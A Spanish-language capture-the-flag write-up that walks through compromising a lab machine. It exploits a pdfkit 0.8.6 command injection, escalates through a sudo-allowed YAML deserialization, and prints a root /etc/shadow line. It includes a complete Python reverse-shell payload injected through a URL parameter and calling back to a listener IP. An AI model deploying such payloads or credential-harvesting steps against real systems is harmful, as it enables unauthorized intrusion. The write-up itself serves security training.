• Lun. Sep 25th, 2023

Comenzamos con el escaneo:

Echamos un ojo a la web:

Comprobamos que tiene una utilidad para convertir una página web a PDF.

Levantamos un servidor con Python3 -m http.server y desde la web introducimos nuestra IP:

Descargamos el PDF generado y lo analizamos con exiftool:

Buscamos un exploit de pdfkit v0.8.6:

https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795

Procedemos a introducir en la web el comando para generar una Reverse Shell:

http://10.10.14.165/?name=%20python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.165",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

Procedemos a poner a la escucha nc:

Ahora vamos a tratar de obtener una TTY:

Verificamos que somos el usuario ruby. Vamos a buscar posibles credenciales para cambiar de usuario:

En uno de los ficheros conseguimos las credenciales del usuario henry. Procedemos a conectarnos via ssh:

Conseguimos la flag del user y ahora nuestro objetivo es conseguir elevar privilegios. Primero con sudo -l verificamos si tenemos algún punto desde el que partir:

Vamos a ir directos a ese fichero o cualquier otro relacionado para conseguir escalar por esa vía.

Mostramos por pantalla el contenido del fichero que aparece en sudo -l:

Buscamos en internet una forma de explotar este recurso. Hallamos en el siguiente link un exploit:

https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/

Introducimos el código y lo mostramos por pantalla:

Procedemos a ejecutar el exploit:

Verificamos si ha tenido éxito el exploit:

Introducimos el siguiente comando para escalar privilegios como root:

Buscamos la flag:

Copiamos la parte del /etc/shadow de root y así poder poner contraseña a esta entrada:

root:$y$j9T$a.ggVdbxv0sDezKDImKn91$BB2mMoZ0UwInxNcXuyDALhr4li59AHfVw5DuV0d5Ww1:19284:0:99999:7:::

Ya tendríamos la máquina resuelta de una forma bastante sencilla. Espero que os haya gustado.

Gracias por leerme.

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.